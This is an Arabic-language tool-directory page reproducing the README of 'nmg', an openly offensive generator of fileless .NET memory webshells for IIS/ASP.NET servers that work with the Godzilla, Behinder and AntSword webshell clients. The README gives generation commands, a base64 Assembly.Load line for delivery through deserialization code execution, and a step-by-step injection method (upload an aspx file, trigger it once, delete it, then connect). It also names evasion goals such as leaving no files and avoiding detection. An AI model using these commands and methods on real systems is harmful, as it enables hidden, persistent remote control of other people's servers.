Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nmg — يولّد حمولات .NET memory-shell مُعامَلة (VPP، مسار MVC، HttpListener) متوافقة مع عملاء Godzilla وBehinder وAntSword لاختبار الفريق الأحمر. | Kitploit
أدوات/GitHubGitHub/baguette168/nmg
أدوات دفاعيةتوليد الحمولةآليات الاستمراريةاستغلال تطبيقات الويبما بعد الاستغلالأمن الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعدتوليد شيفرة القشرةتطوير الحمولات
717منذ 13 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
baguette168/nmg

nmg

يولّد حمولات .NET memory-shell مُعامَلة (VPP، مسار MVC، HttpListener) متوافقة مع عملاء Godzilla وBehinder وAntSword لاختبار الفريق الأحمر.

عرض المستودع
مشاركة

NMG - مولّد قشرة ذاكرة .NET

.NET Tests License Platform

مولّد قشرة ذاكرة .NET مُعامَل | فريق أحمر / اختبار أمني | مكافئ JMG لـ .NET

البنية

+-----------------------------------------------------+
|                    nmg.exe (CLI)                     |
+------------------------+----------------------------+
|  generate (payload)    |  probe (env detection)     |
+------------------------+----------------------------+
|                  Protocol Layer                      |
|  +----------+  +----------+  +----------+           |
|  | Godzilla |  | Behinder |  | AntSword |           |
|  | AES-128  |  | AES-128  |  | Base64   |           |
|  +----------+  +----------+  +----------+           |
+------------------------------------------------------+
|               Template Layer                         |
|  +----------+  +----------+  +--------------+       |
|  |   VPP    |  |  Route   |  | HttpListener |       |
|  | IIS hook |  |MVC Route |  |  Standalone  |       |
|  +----------+  +----------+  +--------------+       |
+------------------------------------------------------+
|             Compilation Engine                       |
|        Roslyn -> DLL (net40/net472)                 |
|    deterministic / XOR obfuscated / randomized      |
+------------------------------------------------------+
|                Output Layer                          |
|    aspx injector / base64 / dll                     |
+------------------------------------------------------+

ما هو NMG؟

يقوم NMG بتوليد حمولات (payloads) قشرة ذاكرة .NET ذات معاملات (parameterized) تُحقن في تطبيقات IIS/ASP.NET دون ترك ملفات على القرص. بعد الحقن، تتصل باستخدام مديري webshell الموجودين (Godzilla / Behinder / AntSword) - فـ NMG يجعل جانب الخادم يعمل فقط.

فكّر فيه على أنه: input parameters -> compiled payload -> inject -> connect with client

الميزات

أنواع قشرة الذاكرة

النوعالهدف.NET Frameworkنقطة التشغيل
vppIIS/ASP.NET2.0+VirtualPathProvider.GetCacheKey
routeMVC/WebAPI3.5+RouteBase.GetRouteData
httplistenerStandalone/SYSTEM2.0+HttpListener (مستقل عن IIS)

بروتوكولات القشرة

البروتوكولالعميلالتشفيرتم التحقق
godzillaGodzilla 4.xAES-128 (key=MD5(pass+key)[0:16])✅ من طرف إلى طرف
behinderBehinder 4.xAES-128 (key=MD5(pass)[0:16] raw bytes)✅ من طرف إلى طرف
antswordAntSwordBase64✅ من طرف إلى طرف

صيغ الإخراج

الصيغةحالة الاستخدام
aspxارفعها إلى دليل قابل للكتابة، وصول مرة واحدة للحقن
b64لتسليم RCE عبر إلغاء التسلسل/حقن التعبيرات
dllDLL خام لمحمّلات مخصصة

الأوامر الفرعية

الأمرالغرض
generateتوليد حمولة قشرة الذاكرة
probeتوليد aspx لكشف البيئة (يبلّغ عن CLR/trust/MVC/VPP)
versionعرض الإصدار
helpعرض الاستخدام

واجهة الويب

واجهة ويب مدمجة بسمة Inset Dark (بساطة بأسلوب Linear):

cd src/Api && dotnet run --urls "http://127.0.0.1:9901"
# Open http://127.0.0.1:9901

البدء السريع

واجهة سطر الأوامر (CLI)

# VPP memory shell, Godzilla protocol, net40 target
nmg generate --type vpp --shell godzilla --pass p@ss123 --seed 42

# Route memory shell for MVC targets
nmg generate --type route --shell godzilla --pass mypass --target net472

# HttpListener for SYSTEM-level access
nmg generate --type httplistener --pass root --path "http://*:8080/cmd/"

# AntSword protocol
nmg generate --type vpp --shell antsword --pass mypass

# Generate environment probe page
nmg probe -o probe.aspx

# Output as Base64 for deserialization delivery
nmg generate --type vpp --shell godzilla --pass p@ss123 --format b64 -o payload.b64

طرق الحقن

الطريقة 1 — حاقن ASPX:

  1. ارفع ملف .aspx المُولَّد إلى أي دليل قابل للكتابة على الهدف
  2. قم بالوصول إليه مرة واحدة في المتصفح (يُفعِّل Assembly.Load + تسجيل VPP)
  3. احذف ملف aspx
  4. اتصل بعميل webshell الخاص بك إلى أي ملف .aspx/.ashx/.asmx موجود على الموقع

الطريقة 2 — Base64 (تسليم RCE): نفِّذ عند أي نقطة تنفيذ كود:

Assembly.Load(Convert.FromBase64String("<payload>"))

Probe

ارفع ملف probe.aspx الذي تم إنشاؤه وقم بالوصول إليه مرة واحدة. يعيد JSON يحتوي على:

{
  "clr": "4.0.30319.42000",
  "trustLevel": "Full",
  "mvc": false,
  "vpp": "Net.Net.Loader.PathHandler74",
  "appPool": "NmgLab"
}

استخدم هذا لتحديد نوع غلاف الذاكرة والبروتوكول اللذين يجب استخدامهما.

مبادئ التصميم

  1. آمن للمضيف: جميع مسارات التنفيذ مغلّفة بـ try-catch، وأي استثناء يمرّر الطلب بصمت
  2. عديم الأثر (Idempotent): الحقن المتكرر لا يكدّس التسجيلات
  3. لا بقايا ملفات: بعد الحقن، لا توجد ملفات جديدة في دليل الويب
  4. حتمي: نفس المعاملات + نفس البذرة = مخرجات متطابقة بايتًا ببايت (NFR-5)
  5. لا ترجمة ديناميكية على الهدف: الحمولة مُجمّعة مسبقًا، ما يتجنب اكتشاف ASP.xxx_aspx+ClassName
  6. تسجيل مزدوج: يستخدم VPP واجهة API الرسمية أولًا، ثم يتراجع إلى الاستبدال المباشر للحقول في وضع IIS Integrated

البناء

dotnet build
dotnet test
dotnet publish src -c Release -r win-x64 --self-contained -o publish/

بنية المشروع

nmg/
├── src/
│   ├── Program.cs              # CLI entry point
│   ├── GenerateOptions.cs      # generate pipeline (protocol × type × format)
│   ├── ProbeCommand.cs         # probe subcommand
│   ├── Shells/
│   │   ├── GodzillaCSharp.cs   # Godzilla protocol (AES-128)
│   │   ├── BehinderNet.cs      # Behinder protocol (AES-128 raw bytes)
│   │   └── AntSwordNet.cs      # AntSword protocol (Base64)
│   ├── Templates/
│   │   ├── VppTemplate.cs      # VirtualPathProvider registrar
│   │   ├── RouteTemplate.cs    # RouteBase registrar
│   │   ├── HttpListenerTemplate.cs
│   │   └── ProbeTemplate.cs    # Environment probe page
│   ├── Compiler/
│   │   └── RoslynCompiler.cs   # Multi-target deterministic Roslyn
│   ├── Randomizer/
│   │   └── SeedRandom.cs       # Deterministic randomization
│   ├── Formats/
│   │   ├── AspxInjector.cs     # Self-contained aspx injector page
│   │   └── Base64Output.cs     # Raw Base64 output
│   └── Api/
│       ├── Program.cs          # ASP.NET Core minimal API
│       └── wwwroot/index.html  # Web UI (Inset Dark)
└── tests/                      # 35 unit tests

المراجع

  • BeichenDream/GodzillaMemoryShellProject.NET
  • سلسلة yzddmr6 حول ASP.NET memory shell — filter وroute وHttpListener وVirtualPath
  • yzddmr6/ASP.NET-Memshell-Scanner
  • pen4uin/jmg — Java Memory-shell Generator

الترخيص

MIT

تنزيل الأداة